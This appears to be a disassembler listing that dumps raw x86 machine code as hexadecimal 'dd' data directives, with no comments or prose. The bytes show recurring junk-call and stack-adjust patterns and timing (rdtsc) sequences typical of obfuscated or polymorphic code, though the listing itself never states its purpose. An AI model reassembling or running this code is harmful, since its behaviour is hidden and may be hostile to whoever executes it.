		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0BF2252C3h
		dd 0F39A245Ah, 0F7816686h, 0B58B522Ah, 7A800E1h, 0A7E9h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 896BE4B7h, 0A82AEDB5h, 8B006A07h, 0A83115BDh
		dd 6A006A07h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 612C8C9Ch, 5A6CE7CBh, 66006A53h
		dd 0E75CE981h, 330595FFh, 6A07A8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 53AC1DC3h, 6AC3FCF6h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0DFF3C352h, 14F18769h, 0F7D59542h, 6AC58Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 7E8919C3h, 461F3091h, 8BF18B66h, 57006AC0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0F9BD833Ch
		dd 7A827h, 0BD830975h, 7A80605h, 50197400h, 0B8C08B53h
		dd 438h, 0ECD8589h, 9D8D07A8h, 7AAB08Ah, 585BD3FFh, 605BD83h
		dd 740007A8h, 0B8535017h, 438h,	0ECD8589h, 9D8D07A8h, 7AAAD2Bh
		dd 585BD3FFh, 68C0Fh, 85890000h, 7A82189h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0D5C35747h, 0F21A0208h
		dd 8D0F3087h, 5, 5E6DECB9h, 65B58B09h, 8B07A829h, 25858DC0h
		dd 907A804h, 0A80B4DB5h, 0E8605007h, 14h, 0FDE9A3E4h, 33A4B813h
		dd 0BD73A3Dh, 93237C17h, 28002694h, 840Fh, 60590000h, 310F5250h
		dd 7FBF585Ah, 61291B27h, 24048961h, 0EE8h, 77DD4000h, 3D8671ABh
		dd 7EBA2C6Fh, 101F7DCh,	0A83401BDh, 6A5F07h, 2B09BD8Bh
		dd 6A07A8h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 16h,	0E9C35040h, 858D33A2h, 7AC40C6h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 0ECC35545h, 6A05C083h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 831DC356h, 0BF6690A7h, 0E8505AE4h, 0Fh, 0CD715E7h
		dd 46B1104Fh, 51FDC756h, 0BB9A87ACh, 48256E48h,	6A905Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 9589D0C3h, 7A807D1h,	6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0B8315DC3h, 951ECA2h
		dd 0A803C5BDh, 6A006A07h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 61E5C355h, 83008782h
		dd 800F00D8h, 6, 0A160DB81h, 95FF17ADh,	7A81B39h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0BBC35747h, 0B7BF75A0h
		dd 50C4D285h, 9A3B8D8Dh, 6A07ABh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0D19653C3h, 286D9D8Bh
		dd 8D8907A8h, 7A8216Dh,	0BF0FD1FFh, 0A5BD83DFh,	107A806h
		dd 8D850Fh, 12E80000h, 3B000000h, 975F9F68h, 7555DA71h
		dd 0E7CD6652h, 17CB314Eh, 1B5893Ch, 5B07A824h, 6A026Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 7AC333C3h, 8D891B74h, 7A80F31h, 7F59D8Bh, 8B5007A8h
		dd 240489FEh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	0B8C35242h, 257BF01Ah, 9107479h, 0A81B61BDh, 45958907h
		dd 0FF07A831h, 0A814E595h, 0F4DF8107h, 0E9769B3Eh, 0E06h
		dd 0E8h, 0ED815D00h, 7AC40D0h, 8C0F8CB7h, 1Dh, 178F0Fh
		dd 12E90000h, 62000000h, 0E2DD4D17h, 6CF3E886h,	0A7DBF766h
		dd 6263EED7h, 3858DCDh,	6007AB8Ch, 0C9D8A8BAh, 6E904h
		dd 499C0000h, 0E1098422h, 0BF669061h, 0F505EB2h, 48Bh
		dd 0CDBF6600h, 6A90F9h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0D4666C3h, 89B99D7Dh, 0A83375B5h
		dd 1ACB8107h, 642898D5h, 35FFh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B1979FC3h
		dd 0B4C4F623h, 9D8B8615h, 7A80891h, 258964h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0ADBAC353h, 8FCB49A7h, 22F12DFEh,	7998D89h
		dd 0CE907A8h, 0C000000h, 14E5821Fh, 28FD5C96h, 0FF6682A6h
		dd 0A80EE585h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 43ED76B8h, 0DE9h, 47BCF300h
		dd 0F48AF105h, 297F76BAh, 0FF6A05CFh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 72C35343h, 8E92DC2Bh, 0FFD98B4Dh
		dd 0A81A75B5h, 0F4BB6607h, 6D95FF74h, 0E907A824h, 0FEh
		dd 2631BD8Bh, 0B007A8h,	5BD8B56h, 5B07A827h, 8219589h
		dd 70E607A8h, 0AE9h, 14C45600h,	5FF9BF17h, 0E4BE9F01h
		dd 0CC38BF71h, 613C4A56h, 0C8830Fh, 0F98B0000h,	89C8B60Fh
		dd 0A824C99Dh, 6BA07h, 95890000h, 7A82249h, 9D89C18Bh
		dd 7A825E1h, 8B04E8C1h,	0A821A99Dh, 0E2F76607h,	8B66C82Bh
		dd 0E9D18BFBh, 3, 8BF9BF0Fh, 0A8102185h, 0C9953107h, 8307A80Ch
		dd 0BD0307C0h, 7A81371h, 0EE9h,	0C4E8E100h, 1571B8B6h
		dd 0D48AD1B1h, 8350F936h, 0D03B00C0h, 0E830Fh, 8B660000h
		dd 54E9FEh, 0BD890000h,	7A800A1h, 2B058D8Bh, 6E907A8h
		dd 8D000000h, 0C23803DFh, 1E1831Fh, 34840Fh, 0A5830000h
		dd 7A82B05h, 7E9FEh, 0C1460000h, 0AF80DA7Ah, 219589A1h
		dd 0E807A810h, 0Ah, 96CEC5B0h, 6255C966h, 0E781657Fh, 7E3C9D35h
		dd 0E95Bh, 0B58D0000h, 7ABD2C9h, 5DDBBF66h, 6A006Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 66F855C3h, 95FFF88Bh, 7A80D21h, 25ED9D8Bh, 0B7B907A8h
		dd 6A000006h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 50A2C355h, 0FCE183D5h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0CAC35343h, 2F268DCEh
		dd 0DE9AD06h, 90000000h, 5501F5A3h
		dd 0EE8DBEAh, 248726B5h, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 9BBFE945h, 36905507h
		dd 26899589h, 0B807A8h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 1B50C352h
		dd 0D22BF960h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	57C35747h, 0BBA91057h, 4D074315h, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0B5BD09FCh, 0D07A80Bh, 88h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0EEC35242h, 26870840h
		dd 958B8941h, 7A81731h,	314DBD89h, 8D8B07A8h, 7A80A59h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 1FC35040h
		dd 41868D2Eh, 0BF66D3E9h, 8B50CB8Dh, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0A55BD89h, 6A07A8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 3F5E83C3h
		dd 0BE93368h, 0D000000h, 0E963CB4Dh, 0B1AE7ABDh, 800F8214h
		dd 3, 23DA8B66h, 0A80675BDh, 85BD8307h,	7A818h,	98840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0F5145C3h, 1383h,	0D8A0F00h, 0E9000000h
		dd 8, 5EE80BBAh, 7D99336h, 0B8h, 3C78000h, 4E4D8D8Dh, 6A07A8h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0BA590EC3h, 251AE799h, 6004BB66h, 6AE1FFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 1A749BC3h
		dd 0AD9D2950h, 5F07A805h, 0C6D9589h, 0BD8307A8h, 7A80939h
		dd 0A8840F00h, 89000003h, 0A80EB59Dh, 0C9BD8B07h, 8307A822h
		dd 0A80939BDh, 840F0107h, 3AAh,	939BD83h, 0F0307A8h, 36786h
		dd 6A6000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 45CF69C3h, 99DA2D91h, 19BD0BC7h, 8B07A815h
		dd 0A82695BDh, 0D98C6607h, 915B589h, 0E18007A8h, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 6AD79334h, 0ADFB70Fh, 31840FC9h, 31000001h, 0A8192D95h
		dd 0B1858B07h, 2907A80Bh, 0A80CC9B5h, 71853307h, 6A07A828h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 5E88C353h, 0FF39ED6h, 1988h, 14E900h, 3E420000h
		dd 0E3E9313Ch, 0B81A7075h, 0C97BD445h, 353A2B10h, 50908358h
		dd 0E0BB6652h, 0BB310F34h, 38030359h, 6650585Ah, 908B83BFh
		dd 5F97BF66h, 32B99589h, 6A07A8h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 77C35646h, 3B556841h, 939761C0h
		dd 789C6828h, 9E81CCAh,	0A3000000h, 0B07E4609h,	0EE8BF1B4h
		dd 14E850h, 90950000h, 0D754DBF6h, 334F45B5h, 37861B7Eh
		dd 0BC8AC945h, 5B5BCC8Ch, 2434815Fh, 1CD57B63h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0AAC35646h, 84B0BF14h
		dd 95FF0B76h, 7A80539h,	9E856h,	6F90000h, 0B0F2ADC7h, 29324078h
		dd 0A80E399Dh, 895F5F07h, 0ABBB2B85h, 59950107h, 0E907A835h
		dd 179h, 0B65BD89h, 0BD8B07A8h,	7A8222Dh, 0BB23858Bh, 0BE907ABh
		dd 0D9000000h, 989D42CCh, 0A0228DF2h, 0C791D2h,	18h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0DEC35646h, 0BD8B49F6h
		dd 7A824D5h, 1BF218BBh,	27B58B2Ch, 6A07ABBBh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0C90FC357h, 19F1BD8Bh, 0B58907A8h, 7A80DD9h,	0CCD858Bh
		dd 9D8B07A8h, 7A81A71h,	0F456D781h, 6895C4Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 59C35646h, 0EEEB2706h
		dd 14800Fh, 0FE90000h, 3F000000h, 0F4EC9734h, 0F071AD74h
		dd 1C9B6688h, 858B41A8h, 7A80BB1h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0B5C35141h,	446895Fh, 895022B7h
		dd 0E9F92434h, 11h, 68CEFFCEh, 0AAF23B8h, 0F7F42D93h, 0F5D10209h
		dd 23B5FF87h, 0E907ABBBh, 0Eh, 6D4C84F7h, 59926900h, 0F31C3436h
		dd 766825E0h, 0BBA7F4F7h, 1A16D81Ch, 89240481h,	8B582A0Ch
		dd 0A834E59Dh, 2B858D07h, 6007ABBBh, 7A19523h, 810F07A8h
		dd 6, 2D41BD89h, 906107A8h, 406133BFh, 0F98B5078h, 0FFFE8B90h
		dd 0A8053995h, 6830F07h, 89000000h, 0A80DD98Dh,	6A6107h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 89F54DC3h, 0A829A5BDh, 3985C707h, 307A809h, 0FC000000h
		dd 0BB2BBD83h, 0F0007ABh, 2784h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 21E940h, 95310000h
		dd 7A82745h, 110C3050h,	1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 4F0FC356h, 3627AB5Dh, 89F88B66h
		dd 0A82919BDh, 0D7DF8107h, 8947B1B5h, 0A806B99Dh, 39BD8307h
		dd 307A809h, 4A4850Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 47837DC3h, 0FA004812h
		dd 0E9B0D9C2h, 0Fh, 0B58F680Bh,	8CB30F6Dh, 0C7EB2E15h
		dd 83C5E8B8h, 0ABBB2BBDh, 840F0007h, 45Eh, 1321BD01h, 0B5FF07A8h
		dd 7ABBB2Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	68C35141h, 0DFB1FB66h, 247595FFh, 6A07A8h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 66E2FDC3h, 0E4F6031Dh, 85899FB8h, 7A81735h, 2DA9BD8Bh
		dd 0B58B07A8h, 7ABBB1Fh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 0F3C35040h, 0A59D8B73h, 0C707A824h, 1000106h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0A92E0315h, 11860Fh, 0CE90000h, 49000000h
		dd 0CEFC93ABh, 6ECD776Fh, 96F2C82Bh, 11E9h, 0A8556F00h
		dd 0EAEC6D80h, 5644828Ch, 85DFFF65h, 5050E94Ah,	0FDF8B52h
		dd 96585A31h, 2BB5FFF5h, 8B07ABBBh, 0A80D35BDh,	0E595FF07h
		dd 6A07A823h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0A875C353h, 76821620h,	8BFC0117h
		dd 0ABBB1FB5h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0C9122A4h, 9F163741h
		dd 9D8B677Dh, 7A8197Dh,	1A019D09h, 858B07A8h, 7A82941h
		dd 0C48689h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 30C6BC3h, 6705B597h, 8BA68B49h
		dd 0A8049D9Dh, 31958B07h, 8907A817h, 0A810498Dh, 4C28307h
		dd 9E9h
		dd 8F3E6700h, 6FE39B2Bh, 5089DB72h, 79853120h, 8D07A829h
		dd 0ABCFC185h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0DC176B94h, 665610DEh
		dd 0E8BE02BBh, 0Ch, 79A75DF3h, 0B07F4706h, 19E744Fh, 0A9BB6660h
		dd 66F8BF15h, 5F6134AFh, 0B88689h, 95290000h, 7A82F35h
		dd 8B66006Ah, 2BB5FFDAh, 6A07ABBBh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 5C9C350h
		dd 898564C3h, 0A823E195h, 0E595FF07h, 0E807A814h, 7, 0E7011776h
		dd 0F2FF2F2h, 505BDEB7h, 6A243489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0B26C357h
		dd 77C40754h, 0BD8BE788h, 7A8045Dh, 0BB2BB5FFh,	6A07ABh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0FF59CDC3h, 0AE9h, 0E321CF00h, 0DD1EF6ADh, 0FF971BF5h
		dd 0A81D0995h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 4617C52Bh, 736375ECh
		dd 0B199D8Bh, 0BD8307A8h, 7A81DFDh, 72840F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 76D7C353h, 0FBFD4112h, 8D2923A6h,	7A80F19h
		dd 50525096h, 0E3BF6652h, 0F310F39h, 88h, 0F585A00h, 5AD98B31h
		dd 52505058h, 52505250h, 585A310Fh, 0CE9310Fh, 9A000000h
		dd 1C2B3264h, 71D24058h, 5ABFC48Fh, 0BF310F58h,	63AF23C7h
		dd 3196585Ah, 0A8174D8Dh, 2BB5FF07h, 0F07ABBBh,	385h, 0DBBF0F00h
		dd 10D595FFh, 0DE807A8h, 30000000h, 8CD3233Ch, 598B1A35h
		dd 58A516DDh, 23B18589h, 0FF5B07A8h, 0ABBB2BB5h, 0F8F78107h
		dd 0FF7DC21Bh, 0A80B3995h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0DE940h, 1C260000h
		dd 0DE0BC045h, 29B74385h, 83E124F7h, 0A831F5BDh, 840F0207h
		dd 57h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h
		dd 0D7C35040h, 76664D96h, 0C1BD8B13h, 8B07A80Fh, 0A8298185h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0EBAFEA61h, 8E0FA636h, 0
		dd 0C70000C6h, 0A821C985h, 7, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0C96C8C5Ch
		dd 1A49BD33h, 7BE907A8h, 6AFFFFF3h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0FABC355h
		dd 1F436DA1h, 1B519D0Bh, 0C18B07A8h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 21C35646h, 4EC4C038h, 6B965D70h
		dd 858DFB8Bh, 7A80425h,	4599D8Bh, 0BB5007A8h, 0F9780C2h
		dd 6A240489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 9274C352h, 45D0DEBBh, 6A006A27h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 9D2AC351h, 7251EB30h, 0EE8B71Dh, 6A000000h
		dd 5C4687E8h, 112CDC8Dh, 0CBC83AA4h, 0BE95B9Ch,	0D5000000h
		dd 0CF6A967Ah, 0EE5ED03Ch, 6A2E24h, 50D5858Dh, 666007ACh
		dd 12E9F98Bh, 0A4000000h, 8F2D8406h, 4C8AF9A0h,	0D6E0AEBBh
		dd 7A053678h, 0C0836126h, 95BD8B05h, 5007A810h,	0FE9h
		dd 0F1570E00h, 0D8A4FF44h, 9C172B6Bh, 421558B7h, 6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0AC2AC356h, 4D958936h, 6607A82Fh,	0B781C781h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0C8F031C3h, 8654FC81h, 6A006AFAh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 3060C350h, 5D971B4h,	4DDA7953h, 24A1BD89h, 0DD8A07A8h
		dd 1B3995FFh, 6A07A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 87F036C3h, 5EF87C1Eh, 3B8D8D86h
		dd 8907AB9Ah, 0A83065BDh, 29D1FF07h, 0A81C85B5h, 0A5BD8307h
		dd 107A806h, 78850Fh, 0BB660000h, 26A8BDFh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 62C35545h, 9C76994Bh
		dd 0A394FEE4h, 0F88B6699h, 0C68A6050h, 0A3A1BF66h, 24048961h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 23C35343h
		dd 2FBBFB20h, 95352905h, 0DB8166EEh, 95FF3D73h,	7A814E5h
		dd 88D0Fh, 81570000h, 0AAE7DCF3h, 0FFE95B6Ch, 0E800000Eh
		dd 0
aBaPmJ		db ']íßP¬',7,'j',0
		db 50h,	0E8h, 3
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0E73C350h, 12E88Eh, 36A40000h, 2474AD89h, 985D6A0Ch
		dd 8804E5B2h, 3DC91E4Ah, 0DE9h,	0D0D2F900h, 0F9B79314h
		dd 0D61715A7h, 8D5F66F5h, 0AB8C0385h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 239C8324h, 0A252B9F3h, 0FB8B6650h, 0E9240489h, 8, 9C85A177h
		dd 356B829Dh, 35FF64h, 56000000h, 0F7816653h, 5B5B7016h
		dd 258964h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 2D21C353h, 0EDD9589h
		dd 85FF07A8h, 7A80EE5h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0EEC35646h, 0C300C7C3h, 775B2631h, 0F38166E9h
		dd 0BD89C67Ch, 7A8316Dh, 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 23C0CDC3h, 0A82FE99Dh
		dd 41B5FF07h, 0F07A826h, 108Ch,	0BE900h, 0D9A0000h, 89BE9809h
		dd 0D7DFC1A5h, 6D95FF16h, 0E907A824h, 17Bh, 55B58960h
		dd 0E907A80Bh, 14h, 0EE603FA6h,	61BD4696h, 15AD506Ah, 6D446F45h
		dd 43A3F628h, 6600B061h, 454CB81h, 958970E6h, 7A80781h
		dd 8D8971E4h, 7A81A35h,	830F613Ch, 13Bh, 9E8h, 0F0D2D900h
		dd 6EB4E723h, 8F0FDDECh, 6, 2C75BD8Bh, 0F5F07A8h, 8166C8B6h
		dd 0BA3701CFh, 6, 0EB5BD2Bh, 0BD3307A8h, 7A824C5h, 8589C18Bh
		dd 7A80B05h, 0E8C1FC8Ah, 9C5BF04h, 860F7E17h, 5, 8ADB8166h
		dd 0E2F76619h, 331B589h, 0C82B07A8h, 0DE8h, 515CCA00h
		dd 85089EDDh, 72E1534Dh, 810FF10Dh, 5, 4DC38166h, 0D18B5B2Eh
		dd 1BE9h, 10E900h, 6F4A0000h, 9F3EF773h, 0FF2529D5h, 0F755AC9Fh
		dd 9D8BE280h, 7A80465h,	18C9858Bh, 858907A8h, 7A8305Dh
		dd 8B07C083h, 0A82CC5BDh, 0C08307h, 30F99D89h, 0D03B07A8h
		dd 32830Fh, 840F0000h, 4, 9F81BF66h, 13E8h, 0E090CF00h
		dd 0C924DF98h, 0E212510Bh, 19569035h, 0EDDE2359h, 51E95Fh
		dd 0BF660000h, 0BD31C468h, 7A82929h, 2F318D8Bh,	8B6607A8h
		dd 8D8B60FEh, 7A80775h,	0BACE8166h, 0E18361ABh,	28840F01h
		dd 8B000000h, 0A80879BDh, 31A58307h, 0FE07A82Fh, 4840Fh
		dd 0BF660000h, 9589529Eh, 7A818C9h, 2AB1BD23h, 0E907A8h
		dd 8D000000h, 0ABDB77B5h, 6D8D2907h, 6A07A828h,	57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0ED51CCB6h, 2195FFA4h, 0F07A80Dh, 9BB9FAB7h,	6A00000Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 962EC351h, 9A0A4486h, 0DBB70F19h,	0E7816657h
		dd 835F046Ah, 6AFCE1h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 8260CC3h, 0E19509FCh, 2B07A828h
		dd 52006AC0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 83CF7711h, 63F7FE99h, 0BAF075h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 47C9C353h, 627B5788h, 4870F35h, 66000000h
		dd 0AD99F3BBh, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 4137C357h, 19958928h, 6007A80Ah, 6880Fh, 8D2B0000h
		dd 7A803D1h, 6A61F8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 97FFEDC3h, 880D7D11h, 60000000h
		dd 0AAD8529h, 8D8907A8h, 7A82601h, 31958B61h, 6607A817h
		dd 8B84CCBBh, 0A80A598Dh, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 97909CE2h
		dd 556C58B8h, 8B504A37h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0EA59531h, 0BD8907A8h, 7A81BD9h, 1885BD83h
		dd 0F0007A8h, 4684h, 0B8D88B00h, 0
aLaINnmniJ	db '‹¹)¨',7,'MN¨',7,'j',0
		dw 0E853h
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0A8C35343h, 22AD9D8Bh
		dd 9D3107A8h, 7A8336Dh,	8B0FE1FFh, 3, 83DEB70Fh, 0A80939BDh
		dd 840F0007h, 46Dh, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0A8C35545h, 7082C006h, 2F14FCC1h, 6E984h
		dd 0D06A0000h, 0BD1CFE9Ch, 186DBD89h, 0BD8307A8h, 7A80939h
		dd 45840F01h, 0F5000004h, 2425BD8Bh, 0BD8307A8h, 7A80939h
		dd 0FB860F03h, 6A000003h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0ACADC351h,	6A60CC43h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 7BBAC353h, 0AE8h,	84DC6500h, 6214D113h, 52B5E888h
		dd 0B8DF8166h, 665B5F26h, 6AD98Ch, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 65CD4CC3h, 0A41DE1E4h
		dd 0BD0BD2C6h, 7A81DDDh, 3557BF66h, 0F04E180h, 289h, 0A33B700h
		dd 4C840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 2900C355h, 0A82ADD9Dh
		dd 0B1858B07h, 5707A80Bh, 3BEB8166h, 85335B0Dh,	7A82871h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0B7C35646h
		dd 0F5B8DF5h, 0F90DAB7h, 281h, 5001B300h, 6A90FDB3h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0F5A7C356h, 628587FDh, 35B7964Fh, 12E9h, 9F03D400h
		dd 0A958AB00h, 9EC49033h, 437879D1h, 6A388238h,	0EB816600h
		dd 33681925h, 66BF339Dh, 481FA8Bh, 0EB66CC24h, 9589F840h
		dd 7A817D1h, 53995FFh, 6A07A8h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0A169A1C3h, 0FCDB5EC7h
		dd 0BE876h, 9B130000h, 0B9772B0Bh, 0A365C2CEh, 99589B8h
		dd 5F07A810h, 0BB2B8589h, 6A07ABh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0B390A8C3h, 1CCE9EAh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0DAD586C3h, 13DEF1F1h, 8BD88493h,	0ABBB2385h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0B73BD212h, 0BC0343B1h, 1800C7h,	2B600000h
		dd 0A8243595h, 0B58B6107h, 7ABBB27h, 31CF8166h,	0CD858B2Eh
		dd 6A07A80Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 4F22C357h, 93F24E56h, 0F38166D5h
		dd 68982B9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	51C35747h, 0CCC8D57Ch, 52488483h, 13E9DBh, 368D0000h
		dd 79F1D2C0h, 0D58DF758h, 76A9D51Fh, 2C17FB6Ch,	0B1858BC2h
		dd 6A07A80Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
